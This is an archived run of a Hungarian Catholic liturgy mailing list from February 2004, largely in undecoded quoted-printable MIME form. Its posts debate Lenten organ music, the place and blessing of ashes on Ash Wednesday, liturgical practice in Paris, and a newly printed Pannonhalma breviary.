=E1tv=E1ltoztat=E1s ut=E1ni = r=E9sz=E9t a mis=E9z=F5=20 tetsz=E9se szerint t=F6bbsz=F6r =E9nekelt akklam=E1ci=F3 szak=EDt(hat)ja = f=E9lbe, pl. "K=FCldd el=20 Lelkedet a kehelyre, k=FCldd el Lelkedet a keny=E9rre" =E9s "K=FCldd el = Lelkedet=20 n=E9pedre, k=FCldd el Lelkedet egybegy=FBlt n=E9pedre", amelyeket a = celebr=E1ns el=F5=E9nekel=20 =E9s a k=F6z=F6ss=E9g megism=E9tel, majd a celebr=E1ns folytatja a = k=E1nont. K=F6z=F6ss=E9gi=20 mis=E9kn=E9l sajnos egyes papok a misek=F6nyvet rendszeresen = k=F6rbeadj=E1k, =E9s a=20 koncelebr=E1l=F3 papok sz=F6vegeit a szentmis=E9t = =FCnnepl=F5 (kis)k=F6z=F6ss=E9g tagjai=20 (szerzetesek, vil=E1giak, egyetemist=E1k stb.) olvass=E1k. V=E9g=FCl a = z=E1r=F3 doxol=F3gi=E1t=20 gyakran minden jelenlev=F5 egy=FCtt mondja a=20 celebr=E1nssal.
 
A Miaty=E1nkot a h=EDv=F5k = nagy r=E9sze a=20 paphoz hasonl=F3an sz=E9tt=E1rt kezekkel im=E1dkozza. K=F6z=F6ss=E9gi = mis=E9kben gyakran marad=20 el a b=E9ke-k=E9zfog=E1sra sz=F3l=EDt=F3 felh=EDv=E1s =E9s a = b=E9kev=E1lt=E1s: a pap b=E9kek=EDv=E1ns=E1g=E1t =E9s a=20 v=E1laszt r=F6gt=F6n a keny=E9rt=F6r=E9s k=F6veti, ami =EDgy eg=E9szen = k=F6zel =E1ll a tridenti=20 r=EDtushoz, ahol a keny=E9rt=F6r=E9s f=F6l=F6tt mondt=E1k a=20 b=E9keim=E1t.
 
Az =E1ldoz=E1s rendszeresen = k=E9t sz=EDn alatt=20 t=F6rt=E9nik, ezt sz=E9pen val=F3s=EDtj=E1k meg. A mise az utols=F3 Deo = gratias-szal =E9r v=E9get:=20 nincs kivonul=E1si =E9nek, sem mag=E1nh=E1laad=E1s: a h=EDvek = azonnyomban t=E1voznak a=20 templomb=F3l. Ami =E9rt=E9kes ebben a szint=E9n r=F3mainak mondott = liturgi=E1ban, az=20 k=FCl=F6n=F6sen az =E9nek ir=E1nti ig=E9ny: gyakorlatilag nincs olyan = szentmise, ahol a=20 mysterium fidei-t ne =E9nekeln=E9k, =E9s =E1ltal=E1ban m=E9g a Kyri=E9t = vagy a Sanctust is.=20 Egy=E9bk=E9nt =E9n =FAgy l=E1tom, hogy -- a szimb=F3lum, a hagyom=E1ny = =E9s a tekint=E9ly fogalm=E1t=20 nem ismerve, m=E1sk=E9pp =E9rtelmezve vagy nem =E9rt=E9kelve -- a = sz=E1mukra=20 ki=FCresedett tartalmakat leegyszer=FBs=EDtik vagy elhagyj=E1k, a = keletkezett =FBrt pedig=20 =E9nekkel igyekeznek kit=F6lteni. Ez abban is megnyilv=E1nul, hogy pl. = nincs vagy=20 elmarad az =E1ld=E1s =E9tkez=E9s el=F5tt-ut=E1n, de az =FAjmis=E9s = =E1ld=E1s is teljesen ismeretlen;=20 papok, szeminarist=E1k, szerzetesek =E1ltal=E1ban semmilyen egyh=E1zi = =F6lt=F6zetet sem=20 viselnek, nagyon kev=E9s kiv=E9tellel: ezek k=F6z=F6tt a legelterjedtebb = a mindig a=20 fels=F5ruh=E1n (=F6lt=F6ny=F6n-nyakkend=F5n) viselt b=F5rsz=EDjra = f=FBz=F6tt kis, m=FBv=E9szi, n=E9ha=20 absztrakt vagy nonfigurat=EDv fa- vagy zom=E1nckereszt (nem=20 fesz=FClet); a=20 p=FCsp=F6k =F6lt=F6zete az =F6lt=F6ny-nyakkend=F5n viselt mellkereszt. A = papszentel=E9sre=20 visszat=E9rve: n=E9gy =FAjonnan szentelt pap =E9s k=E9t = diak=F3nus szentk=E9p=E9n egy =20 semmilyen vall=E1sos ellemmel sem rendelkez=F5 nonfigurat=EDv festm=E9ny = volt.
 
Katolikus k=F6rmenetek = nincsenek; ezzel=20 szemben a m=E1s vall=E1s=FAak (hinduk, konfuci=E1nusok) k=F6rmeneteit = (Gan=E9sa isten=20 tisztelet=E9re, vagy a Hold-=FAj=E9v alkalm=E1b=F3l) nagy t=E1rsadalmi = =E9rdekl=F5d=E9s =F6vezi.=20 Lit=E1ni=E1k, r=F3zsaf=FCz=E9r-=E1jtatoss=E1gok, = olt=E1riszents=E9g-tisztelet (monstrancia,=20 szents=E9gi =E1ld=E1s) nincs. A szentgy=F3n=E1s mellett =E9l a = "meghallgat=E1s" szolg=E1lata,=20 ami azt jelenti, hogy szerzetesek vagy k=E9pzett vil=E1giak fogadj=E1k a = templomban a=20 besz=E9lgetni v=E1gy=F3kat.
 
Vannak olyan igen = gy=FCm=F6lcs=F6z=F5=20 pr=F3b=E1lkoz=E1sok, ahol az evang=E9lium ut=E1n h=FAsz percnyi teljes = csend ny=FAjt alkalmat=20 a szem=E9lyes im=E1ra (az egyik k=E1poln=E1ban vezetett elm=E9lked=E9s = seg=EDti az ezt=20 ig=E9nyl=F5ket), majd ut=E1na =F6t perc alatt az egym=E1s = k=F6rnyezet=E9ben lev=F5k=20 megoszthatj=E1k = tapasztalataikat.
 
Eddig tart a besz=E1mol=F3m. = J=E1k=F3 testv=E9r, te=20 =E9lt=E9l Franciaorsz=E1gban, bizony=E1ra hozz=E1sz=F3lsz a fenti=20 tapasztalatokhoz.
 
Osztom azoknak a = t=E1rsadalomtud=F3soknak a=20 f=E9lelm=E9t (pl. Noel Barber =EDr jezsuita), akik szerint legfeljebb = n=E9h=E1ny =E9vtized=20 m=FAlva m=E9g az indiai =E9s az afrikai egyh=E1zak is a mai = nyugat-eur=F3pai (francia?)=20 szekulariz=E1lt-vall=E1stalan t=E1rsadalmi k=F6rnyezetbe fognak = ker=FClni. Akik=20 sz=E1m=E1ra a vall=E1sos tapasztalat, =E9rt=E9kek, szimb=F3lumok = ismeretlenek, azok a=20 vall=E1sos emberek legm=E9lyebb identit=E1s=E1val, =E9let=FCk = =E9rtelm=E9vel, magatart=E1suk=20 zsin=F3rm=E9rt=E9k=E9vel, kult=FAr=E1jukkal nem tudnak mit kezdeni, =E9s = ez egyesekben ugyan=20 egzotikum ir=E1nti k=EDv=E1ncsis=E1got, m=E1sokban azonban hatalmas = frusztr=E1ci=F3t=20 okoz. A szerencs=E9tlen Tilos R=E1di=F3-esetek csak sz=E9ls=F5s=E9ges = p=E9ld=E1i ennek a=20 kezeletlen frusztr=E1ci=F3nak. Azt szoktam mondani, hogy boldogabb = t=E1rsadalmakban=20 nemcsak akkor megy valaki szakorvoshoz, ha egy = fogf=E1j=E1s okozta=20 f=E1jdalmai miatt v=E1lik ki=E1llhatatlann=E1 k=F6rnyezete = sz=E1m=E1ra, hanem akkor is,=20 ha a benne felhalmozott fesz=FClts=E9gek teszik viselked=E9s=E9t = elviselhetetlenn=E9,=20 toler=E1lhatatlann=E1.
 
Sapienti sat. Az utols=F3 = bekezd=E9s miatt=20 eln=E9z=E9st k=E9rek azokt=F3l, akik a list=E1n kiz=E1r=F3lag = liturgi=E1val kapcsolatos=20 =FCzeneteket szeretn=E9nek = olvasni.
 
=DCdv=F6zlettel, P=E1rizs = sz=EDv=E9b=F5l, gy=FCm=F6lcs=F6z=F5=20 nagyb=F6jti id=F5t k=EDv=E1nva
Biacsi D=E1vid=20 SJ
------=_NextPart_000_001E_01C3FD4C.596E5290-- From gruberl@freemail.hu Fri Feb 27 19:23:26 2004 From: gruberl@freemail.hu (=?iso-8859-2?Q?Gruber_L=E1szl=F3?=) Date: Fri, 27 Feb 2004 20:23:26 +0100 Subject: [Liturgia] =?iso-8859-2?Q?kereszt=FAt?= Message-ID: <009201c3fd67$51814130$f454e4c3@deszk> This is a multi-part message in MIME format. ------=_NextPart_000_008F_01C3FD6F.8DFED070 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable N=E9mi meglep=F5d=E9ssel olvasom Biacsi SJ testv=E9r sorait...az=E9rt = rem=E9lem, h. nem ez a jellemz=F5 - liturgiailag - az eg=E9sz fr. = egyh-ra... D=E1vid, javaslom, ha teheted, legal=E1bbis =F6sszehasonl=EDt=E1s = jelleggel, n=E9zz sz=E9t Lefebre-k=F6vet=F5i h=E1za t=E1j=E1n, m=E1r ami = a litrugi=E1t illeti... De hadd botr=E1nkoztassam meg a 'gyeng=E9bb lelk=FClet=FBeket': itt Deszken (1.5 =E9ve vagyok kb.) mik=E9nt =E9s hol v=E9gzik a = kereszt=FAti =E1jtatoss=E1got: term=E9szetesen =FClve, s az id=E9n m=E1r a sekresty=E9ben (tavaly m=E9g = a templomban =FCltek, val=F3sz. melegebb a sekrestye, ill. kisebb = l=E9gtere l=E9v=E9n k=F6nnyebben be tudja lehelni a 3-4 n=E9ni, persze = =EDgy is csak kb. 3=B0C volt...) Na, h=E1t =E9n magamban ezen a m=F3don akadtam ki, s k=E9rn=E9k vmi = b=F6lcs tan=E1csot, nehogy m=E9g ez marad=E9k ny=E1j is = megs=E9rt=F5dj=F6n, s ne j=F6jjenek el t=F6bb=E9 (egy=E9bk=E9nt volt egy = olyan =E9rz=E9sem, h. amolyan 'ess=FCnk gyorsan t=FAl rajta'-jelleggel = v=E9gezt=E9k/-t=FCk. Szebb =E9s gy=FCm=F6lcs=F6z=F5bb lelki tapasztalatokat k=EDv=E1nva: GL = pl=E9b. ------=_NextPart_000_008F_01C3FD6F.8DFED070 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
N=E9mi meglep=F5d=E9ssel olvasom Biacsi = SJ testv=E9r=20 sorait...az=E9rt rem=E9lem, h. nem ez a jellemz=F5 - liturgiailag - az = eg=E9sz fr.=20 egyh-ra...
D=E1vid, javaslom, ha teheted, = legal=E1bbis=20 =F6sszehasonl=EDt=E1s jelleggel, n=E9zz sz=E9t Lefebre-k=F6vet=F5i = h=E1za t=E1j=E1n, m=E1r ami a=20 litrugi=E1t illeti...
 
De hadd botr=E1nkoztassam meg a = 'gyeng=E9bb=20 lelk=FClet=FBeket':
 
itt Deszken (1.5 =E9ve vagyok kb.) = mik=E9nt =E9s hol=20 v=E9gzik a kereszt=FAti =E1jtatoss=E1got:
 
term=E9szetesen = =FClve, s az id=E9n m=E1r=20 a sekresty=E9ben (tavaly m=E9g a templomban =FCltek, = val=F3sz. melegebb=20 a sekrestye, ill. kisebb l=E9gtere l=E9v=E9n k=F6nnyebben be tudja = lehelni a 3-4 n=E9ni,=20 persze =EDgy is csak kb. 3=B0C volt...)
 
Na, h=E1t =E9n magamban ezen a m=F3don = akadtam ki, s=20 k=E9rn=E9k vmi b=F6lcs tan=E1csot, nehogy m=E9g ez marad=E9k ny=E1j is = megs=E9rt=F5dj=F6n, s ne=20 j=F6jjenek el t=F6bb=E9 (egy=E9bk=E9nt volt egy olyan =E9rz=E9sem, h. = amolyan 'ess=FCnk gyorsan=20 t=FAl rajta'-jelleggel v=E9gezt=E9k/-t=FCk.
 
Szebb =E9s gy=FCm=F6lcs=F6z=F5bb lelki = tapasztalatokat=20 k=EDv=E1nva: GL pl=E9b.
------=_NextPart_000_008F_01C3FD6F.8DFED070-- From fehervary.jako@freemail.hu Fri Feb 27 08:48:21 2004 From: fehervary.jako@freemail.hu (=?ISO-8859-2?Q?Feh=E9rv=E1ry_J=E1k=F3?=) Date: Fri, 27 Feb 2004 09:48:21 +0100 (CET) Subject: [Liturgia] Zsolozsmaskonyv Message-ID: Kedves Mindannyian! Mivel rendtársaim eddig még nem jelentkeztek itt a listán, ezért, noha most nem vagyok Pannonhalmán, mégis veszem a bátorságot, hogy előjöjjek az örömteli hírrel: végre megjelent nyomtatásban a Pannonhalmi Zsolozsmáskönyv első kötete. A teljes zsolozsma két kötetben lát napvilágot, egyenlőre ideiglenes jelleggel. Ez az első kötet a karácsonyi és húsvéti ünnepkör zsolzsmáját és a zsoltároskönyvet tartalmazza (két hetes zsoltárelosztással), a második kötetben az évközi idő zsolozsmáját találjuk majd (természetesen mindkét kötetben helyet kapnak a szentek). A vigíliától eltekintve minden imaóra végig énekelhető (a vigília antifonái csak nagy ünnepekre lettek megzenésítve). A könyv nem tartalmazza a vigília biblikus és patrisztikus olvasmányait, csak utal rájuk. Megtaláljuk viszont az ezekhez tartozó responzóriumokat. Pannonhalmán Hamvazószerdától használjuk az új könyvet. Bővebb információval magam is szívesen állok rendelkezésre, de méginkább a kiadást gondozó testvéreim: Arnold és Bánk testvérek. Szeretettel: Fehérváry Jákó, bencés From gabor@kaibas.hu Fri Feb 27 18:48:15 2004 From: gabor@kaibas.hu (=?iso-8859-1?B?S2FpYuFzIEfhYm9yIE3hcms=?=) Date: Fri, 27 Feb 2004 19:48:15 +0100 Subject: [Liturgia] =?iso-8859-1?Q?Orgonaj=E1t=E9k_nagyb=F6jtben?= Message-ID: <001401c3fd62$48bc05d0$9121ec91@kaigabi> This is a multi-part message in MIME format. ------=_NextPart_000_0011_01C3FD6A.A4113E20 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Tisztelt Listatagok, A nagyb=F6jtben val=F3 orgonahaszn=E1lattal kapcsolatban az al=E1bbiakat = szeretn=E9m megjegyezni. 1. az =E9nek k=EDs=E9ret=E9n k=EDv=FCli orgonaj=E1t=E9k - = k=FCl=F6n=F6sen a kezdeti akkordok -elengedhetetlen az ig=E9nyes = =E9nekl=E9shez, ugyanis ekkor adja meg az orgonista az =E9nekhangot, a = temp=F3t, de legfok=E9ppen azt, hogy MIT FOG =C9NEKELNI! 2. sz=FCks=E9ges a halk, meditat=EDv zene abb=F3l kifoly=F3lag, hogy ha = belegondolunk nem lehet =FAgy =F6n=E1tad=E1st v=E9gezni az =E1ldoz=E1s = ut=E1ni h=E1laad=E1s alkalm=E1val, ha az elm=E9ly=FClni k=EDv=E1n=F3 = ember csak Mari n=E9nit hallja torka szakadt=E1b=F3l. 3. tov=E1bb=E1 a Szent=EDr=E1s azt tan=EDtja: "Tal=E1n az ilyen b=F6jt tetszik nekem, =E9s ilyen az a nap, amelyen az ember megsanyargatja mag=E1t? Lehajtj=E1tok fejeteket, mint a k=E1ka, =E9s zs=E1kot meg hamut terjttek magatok al=E1: ezt nevezitek ti b=F6jtnek, olyan napnak, amely tetszik az =DArnak?" Iz 58, 5 =C9n =FAgy gondolom az orgonaj=E1t=E9k h=E1tt=E9rbe szor=EDt=E1sa, vagy = kiz=E1r=E1sa a nagyb=F6jt folyam=E1n pont ezt az =F6nsanyargat=E1st, = keserus=E9get, szomor=FAs=E1got dombor=EDtja ki, ami nem c=E9lja a = nagyb=F6jtnek. Szerintem ezt a rendelkez=E9st m=F3dos=EDtani k=E9ne olyan ir=E1nyban, = hogy az =FCnnep=E9lyess=E9get kifejezo orgonaj=E1t=E9k nem megengedett, = de visszafogott, halk zene (a fenti okokb=F3l k=F6vetkezoen) az =E9nek = k=EDs=E9ret=E9n k=EDv=FCl is sz=F3lhat. =C9n magam biztos, hogy ez ut=F3bbi h=EDve vagyok =E9s ezt k=F6vetem a = gyakorlatban is. =DCdv=F6zlettel, Kaib=E1s G=E1bor M=E1rk http://www.extra.hu/szentbernat ------=_NextPart_000_0011_01C3FD6A.A4113E20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Tisztelt Listatagok,
 
A nagyb=F6jtben val=F3 = orgonahaszn=E1lattal kapcsolatban=20 az al=E1bbiakat szeretn=E9m megjegyezni.
1. az =E9nek k=EDs=E9ret=E9n k=EDv=FCli = orgonaj=E1t=E9k - k=FCl=F6n=F6sen=20 a kezdeti akkordok -elengedhetetlen az ig=E9nyes =E9nekl=E9shez, ugyanis = ekkor adja=20 meg az orgonista az =E9nekhangot, a temp=F3t, de legfők=E9ppen azt, = hogy MIT FOG=20 =C9NEKELNI!
2. sz=FCks=E9ges a halk, meditat=EDv = zene abb=F3l=20 kifoly=F3lag, hogy ha belegondolunk nem lehet =FAgy =F6n=E1tad=E1st = v=E9gezni az =E1ldoz=E1s=20 ut=E1ni h=E1laad=E1s alkalm=E1val, ha az elm=E9ly=FClni k=EDv=E1n=F3 = ember csak Mari n=E9nit hallja=20 torka szakadt=E1b=F3l.
3. tov=E1bb=E1 a Szent=EDr=E1s azt = tan=EDtja:
 
"Tal=E1n az ilyen b=F6jt tetszik=20 nekem,
=E9s ilyen az a nap, amelyen az=20 ember
megsanyargatja = mag=E1t?
Lehajtj=E1tok fejeteket, mint a=20 k=E1ka,
=E9s zs=E1kot meg hamut terjttek = magatok=20 al=E1:
ezt nevezitek ti = b=F6jtnek,
olyan napnak, amely tetszik az = =DArnak?" Iz=20 58, 5
 
=C9n =FAgy gondolom az orgonaj=E1t=E9k = h=E1tt=E9rbe szor=EDt=E1sa,=20 vagy kiz=E1r=E1sa a nagyb=F6jt folyam=E1n pont ezt az = =F6nsanyargat=E1st, keserűs=E9get,=20 szomor=FAs=E1got dombor=EDtja ki, ami nem c=E9lja a = nagyb=F6jtnek.
Szerintem ezt a rendelkez=E9st = m=F3dos=EDtani k=E9ne olyan=20 ir=E1nyban, hogy az =FCnnep=E9lyess=E9get kifejező orgonaj=E1t=E9k = nem megengedett, de=20 visszafogott, halk zene (a fenti okokb=F3l k=F6vetkezően) az =E9nek = k=EDs=E9ret=E9n k=EDv=FCl is=20 sz=F3lhat.
=C9n magam biztos, hogy ez ut=F3bbi = h=EDve vagyok =E9s ezt=20 k=F6vetem a gyakorlatban is.
 
=DCdv=F6zlettel,
Kaib=E1s G=E1bor M=E1rk
http://www.extra.hu/szentbernat<= /A>
 
------=_NextPart_000_0011_01C3FD6A.A4113E20-- From nobilism@matavnet.hu Thu Feb 26 17:48:38 2004 From: nobilism@matavnet.hu (Nobilis Ma'rio') Date: Thu, 26 Feb 2004 18:48:38 +0100 Subject: [Liturgia] =?ISO-8859-2?Q?Hamvaz=E1s?= In-Reply-To: References: Message-ID: <403E3176.7040903@ppke.hu> > Tegnap este az egyik budapesti (nem külterületi) templomban tapasztaltam > a következőt: a bűnbánati cselekményt kihagyták a mise bevezető részéből > azzal a megfontolással, hogy a hamvazkodás azt helyettesíti. A > hamvazásra pedig a mise végén, az áldás után került sor. Szerintem ez > így szabálytalan: a mise részeinek sorrendjét nem lehet változtatgatni, > ezért a hamvazás legföljebb akkor helyettesítheti a bűnbánati liturgiát, > hogyha pont annak helyébe kerül. A Misekönyvben Hamvazószerdánál a kezdőének után ez a rubrika olvasható: > A szokásos bűnbánati cselekmény (közgyónás, stb.) és Uram, irgalmazz! elmarad, mert azt a hamvazás helyettesíti. Majd a Kollekta után "A hamu megáldása és a hamvazás" cím alatt ez: > Homilia után a pap összetett kézzel mondja: És itt jön a hamvazás szertartásának leírása, amely így fejeződik be: > A hamzavás után a pap megmossa kezét, és a Hívek könyörgésével befejezi a hamvazás szertartását. Ebből számomra egyértelmű, hogy: 1. A hamvazás szertartásának helye a hamvazószerdai misében valóban az evangélium és a homilia után van, nem a végén (de nem is az elején!). Én is felfigyeltem már arra, hogy nem egy templomban újabban mégis oda, a végére csúszik. Talán az időben közeli balázsolás (liturgikusan alaptalan) analógiájára? Vagy azért (is), mert: - 1. az elmúlt évtizedekben a hétköznapra eső ünnepek mintájára a hamvazás is egyre inkább átkerült Nagyböjt első vasárnapjára - illetve teljesen általánosan bevett szokás, hogy ezen a napon "megismétlik", - 2. ekkor viszont már több joggal kerül a mise végére, hiszen nagyböjt első vasárnapján nem lehet része a liturgiának (legalábbis egy hallgatólagos lelkipásztori elv szerint), - 3. s mivel a legtöbb helyen több hívő részesül benne vasárnap, mint szerdán, - 4. ezért a reflektálatlan lekipásztori gondolkodásban a "misevégi hamvazás" képe, úgy tűnik, elnyomta a "mise része-hamvazást"... 2. Viszont nem helytálló az, hogy >a hamvazás legföljebb akkor helyettesítheti a bűnbánati liturgiát, > hogyha pont annak helyébe kerül" ugyanis: 1. nem kerülhet pont a helyére, mert a homilia után kell lennie, 2. viszont az ÁR telesen egyértelműen közli, hogy a bűnbánati cselekmény ilyenkor ELMARAD. 3. A rubrikák nemcsak ezen egy alkalommal írják elő, hogy "a bűnbánati cselekmény elmarad, és a Dicsőséggel (vagy: a könyörgéssel) folytatódik a szentmise", hanem elég sok más esetben is, (pl. Gyertyaszentelőkor), és ezekből az esetekből bennem az az összkép alakul ki, hogy nem egészen a bűnbánati liturgiának "más alakkal való pótlásáról" van ilyenkor szó, és nem kritérium az sem, hogy a bűnbánati rész "helyén" legyen az a bizonyos szertartás. (A gyertyaszentelés pl. - elvileg - az egész mise ELŐTT, akár más templomban vagy a templom más alkalmas helyén van, aztán pedig maga a mise kezdődik a Dicsőséggel.) Az illető templomban tehát ez utóbbi tekintetben nem tévedtek, és nem is egyéni "megfontolásból" hagyták ki a bűnbánati részt, hanem a liturgia rendjének megfelelően. Üdv Nobilis Márió From tarnai.imre@l2net.hu Fri Feb 27 18:16:59 2004 From: tarnai.imre@l2net.hu (Tarnai Imre) Date: Fri, 27 Feb 2004 19:16:59 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Hamuszentel=E9s?= Message-ID: <000801c3fd5e$698b5d00$c8ee6cd4@oroszil2> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C3FD66.45FFF640 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Kedves =C1kos!=20 Nem vagyok biztos benne, hogy "Ugyanazt a hamut k=E9tszer nem kellene = meg=E1ldani". Ez a v=E9lem=E9ny azt sugallja, mintha az =E1ld=E1s = k=F6vetkezt=E9ben valami bels=F5 v=E1ltoz=E1s t=F6rt=E9nn=E9k a hamuban. M=E1s az =E1ld=E1s, =E9s m=E1s a szentel=E9s. (V=F6. nagy Katekizmus = 1671-72.) Amit megszentel=FCnk, azt egyszer s mindenkorra kivonjuk a = prof=E1n haszn=E1latb=F3l, ezt val=F3ban nincs =E9rtelme megism=E9telni. = De amit meg=E1ldunk, azt egyszer=FBen csak az Isten oltalm=E1ba = aj=E1nljuk, amit ak=E1rh=E1nyszor megtehet=FCnk. H=EDveid se fordulnak = ki a mise v=E9gi =E1ld=E1s el=F5tt a templomb=F3l olyan c=EDmen, hogy = =F5ket m=E1r egyszer meg=E1ldott=E1k. (Anal=F3gia: Kifejezett = el=F5=EDr=E1s, hogy bal=E1zsol=E1s el=F5tt a gyerty=E1kat akkor is meg = kell =E1ldani az el=F5=EDrt formul=E1val, ha azokat az el=F5z=F5 =E9vben = m=E1r meg=E1ldott=E1k!) Az =E1ld=E1s nem a t=E1rgy (a hamu) miatt t=F6rt=E9nik, hanem az emberek = miatt. A hamuval igaz=E1b=F3l semmi k=FCl=F6n=F6s nem t=F6rt=E9nik: nem = lesz k=FCl=F6nleges "ereje". A szertart=E1s szimbolik=E1ja m=FBk=F6dik = akkor is, ha "k=F6z=F6ns=E9ges" hamuval hinti meg mag=E1t az ember: az = al=E1zatnak =E9s a b=FBnb=E1natnak a jele. Erre kell hogy r=E1hangolja, = Istenhez emelje a sz=E9p =E1ld=F3 im=E1ds=E1g a r=E9sztvev=F5ket. = Ez=E9rt =FAgy gondolom, hogy ezek az im=E1k kifejezetten r=E9szei a = hamvaz=F3szerdai liturgi=E1nak. A hamvaz=E1s nem valami extras=E1g, amit = valahova be kell suvasztani, hanem r=E9sze a hamvaz=F3szerdai mis=E9nek. = (Zsinat el=F5tt is az volt, csak akkor a mise elej=E9re iktatt=E1k be.)=20 Igaz, az is el=F5=EDr=E1s, hogy ha valaki vas=E1rnap hamvazkodik, azt a = szerd=E1n meg=E1ldott hamuval kell meghamvazni. De ez = sz=FCks=E9gmegold=E1s: a vas=E1rnapi liturgi=E1nak nem r=E9sze a = hamvaz=E1s, =E9s pontosan arra val=F3 - szerintem - ez az el=F5=EDr=E1s, = hogy legal=E1bb =EDgy ker=FCljenek kapcsolatba a szerdai liturgi=E1val = azok, akik a napj=E1n nem tudtak elj=F6nni. =20 Tarnai Imre -------Original Message------- From: F=FCl=F6p =C1kos Date: 2004. febru=E1r 26. 15:28:02 To: Liturgikus levelez=F5lista Subject: [Liturgia] Re: [Liturgia] Hamvaz=E1s A hamvaz=E1s helye a hamvaz=F3szerdai liturgi=E1ban a pr=E9dik=E1ci=F3, = illetve az evang=E9lium ut=E1n.=20 =EDgy szerepel a Misek=F6nyvben is.=20 Az egy k=E9rd=E9s sz=E1momra, hogy ha egy templomban t=F6bb mise van, = akkor hogyan t=F6rt=E9nik. Ugyanazt a hamut k=E9tszer nem kellene meg=E1ldani, ugyanakkor az sem = helyes, hogy a mise v=E9g=E9n legyen a hamvaz=E1s.=20 (jelenleg nem vagyok ilyen helyzetben, mert kis templomban vagyok, ahol = egy mise van.=20 Kor=E1bban a h=E1rom faluban h=E1rom k=FCl=F6nb=F6z=F5 hamut =E1ldottam = meg.)=20 Fulop Akos RM Kobanyai Szent Csalad Plebania 1103 Budapest Kada utca 25 260-7905 30/954-5083 satya@hcbc.hu ------=_NextPart_000_0005_01C3FD66.45FFF640 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable

Kedves =C1kos!=20

Nem vagyok=20 biztos benne, hogy "Ugyanazt a hamut k=E9tszer nem kellene meg=E1ldani". = Ez a=20 v=E9lem=E9ny azt sugallja, mintha az =E1ld=E1s k=F6vetkezt=E9ben valami = bels=F5 v=E1ltoz=E1s=20 t=F6rt=E9nn=E9k a hamuban.

M=E1s az=20 =E1ld=E1s, =E9s m=E1s a szentel=E9s. (V=F6. nagy = Katekizmus 1671-72.) Amit=20 megszentel=FCnk, azt egyszer s mindenkorra kivonjuk a prof=E1n = haszn=E1latb=F3l, ezt=20 val=F3ban nincs =E9rtelme megism=E9telni. De amit meg=E1ldunk, azt = egyszer=FBen csak az=20 Isten oltalm=E1ba aj=E1nljuk, amit ak=E1rh=E1nyszor megtehet=FCnk. = H=EDveid se fordulnak ki=20 a mise v=E9gi =E1ld=E1s el=F5tt a templomb=F3l olyan c=EDmen, hogy = =F5ket m=E1r egyszer=20 meg=E1ldott=E1k. (Anal=F3gia: Kifejezett el=F5=EDr=E1s, hogy = bal=E1zsol=E1s el=F5tt a gyerty=E1kat=20 akkor is meg kell =E1ldani az el=F5=EDrt formul=E1val, ha azokat az = el=F5z=F5 =E9vben m=E1r=20 meg=E1ldott=E1k!)

Az =E1ld=E1s nem a=20 t=E1rgy (a hamu) miatt t=F6rt=E9nik, hanem az emberek miatt. A hamuval igaz=E1b=F3l semmi = k=FCl=F6n=F6s nem=20 t=F6rt=E9nik: nem lesz k=FCl=F6nleges „ereje”. A = szertart=E1s szimbolik=E1ja m=FBk=F6dik akkor=20 is, ha „k=F6z=F6ns=E9ges” hamuval hinti meg mag=E1t az = ember: az al=E1zatnak =E9s a=20 b=FBnb=E1natnak a jele. Erre kell hogy r=E1hangolja, Istenhez emelje a = sz=E9p =E1ld=F3=20 im=E1ds=E1g a = r=E9sztvev=F5ket. Ez=E9rt =FAgy=20 gondolom, hogy ezek az im=E1k kifejezetten r=E9szei a hamvaz=F3szerdai = liturgi=E1nak. A=20 hamvaz=E1s nem valami extras=E1g, amit valahova be kell suvasztani, = hanem r=E9sze a hamvaz=F3szerdai = mis=E9nek. (Zsinat=20 el=F5tt is az volt, csak akkor a mise elej=E9re iktatt=E1k=20 be.) 

Igaz, az is=20 el=F5=EDr=E1s, hogy ha valaki vas=E1rnap hamvazkodik, azt a szerd=E1n = meg=E1ldott hamuval=20 kell meghamvazni. De ez sz=FCks=E9gmegold=E1s: a vas=E1rnapi = liturgi=E1nak nem r=E9sze a=20 hamvaz=E1s, =E9s pontosan arra val=F3 – szerintem – ez az = el=F5=EDr=E1s, hogy legal=E1bb =EDgy=20 ker=FCljenek kapcsolatba a szerdai liturgi=E1val azok, akik a napj=E1n = nem tudtak=20 elj=F6nni.

 

Tarnai=20 Imre

 

 

-------Original = Message-------
 
From: F=FCl=F6p =C1kos
Date: 2004. = febru=E1r 26.=20 15:28:02
To: Liturgikus = levelez=F5lista
Subject: = [Liturgia] Re:=20 [Liturgia] Hamvaz=E1s
 
A hamvaz=E1s helye a hamvaz=F3szerdai liturgi=E1ban a = pr=E9dik=E1ci=F3, illetve az=20 evang=E9lium ut=E1n.
=EDgy szerepel a Misek=F6nyvben is.
Az egy k=E9rd=E9s sz=E1momra, hogy ha egy templomban t=F6bb mise = van, akkor hogyan=20 t=F6rt=E9nik.
Ugyanazt a hamut k=E9tszer nem kellene meg=E1ldani, ugyanakkor az = sem helyes,=20 hogy a mise v=E9g=E9n legyen a hamvaz=E1s.
(jelenleg nem vagyok ilyen helyzetben, mert kis templomban vagyok, = ahol egy=20 mise van.
Kor=E1bban a h=E1rom faluban h=E1rom k=FCl=F6nb=F6z=F5 hamut = =E1ldottam meg.)

Fulop Akos RM
Kobanyai Szent Csalad Plebania
1103 = Budapest Kada=20 utca 25
260-7905  30/954-5083
satya@hcbc.hu
